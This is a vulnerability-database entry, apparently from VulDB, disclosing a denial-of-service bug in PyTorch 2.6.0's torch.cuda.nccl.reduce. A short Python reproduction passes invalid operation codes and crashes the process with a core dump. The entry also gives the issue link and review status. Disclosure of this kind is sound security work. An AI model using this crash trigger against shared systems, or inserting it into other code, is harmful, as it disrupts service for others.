| Titel | pytorch pytorch (in torch.cuda.nccl.reduce) 2.6.0 Denial of Service |
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| Beschreibung | When using `torch.cuda.nccl.reduce` with invalid operation codes, the program crashes with `Aborted (core dumped)` instead of raising a `RuntimeError` or validating the input. This bug can be exploited for a denial-of-service attack.
# To Reproduce
```
import torch
import torch.cuda as cuda
from torch.cuda.nccl import reduce
def test_bug():
# Checking for unsupported operations
unsupported_ops = [0xFF, 0xAA] # Example of invalid NCCL operation codes
for op in unsupported_ops:
input_tensor = torch.tensor([1.0, 2.0, 3.0], device=f'cuda:0')
output_tensor = torch.zeros_like(input_tensor)
reduce(inputs=[input_tensor], output=output_tensor, root=0, op=op)
if __name__ == "__main__":
test_bug()
```
# Output
```
Aborted (core dumped)
``` |
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| Quelle | ⚠️ https://github.com/pytorch/pytorch/issues/150836 |
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| Benutzer | Default436352 (UID 81891) |
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| Einreichung | 08.04.2025 17:11 (vor 12 Monaten) |
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| Moderieren | 05.05.2025 13:53 (27 days later) |
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| Status | Akzeptiert |
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| VulDB Eintrag | 307394 [PyTorch 2.6.0+cu124 torch/cuda/nccl.py torch.cuda.nccl.reduce Denial of Service] |
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| Punkte | 20 |
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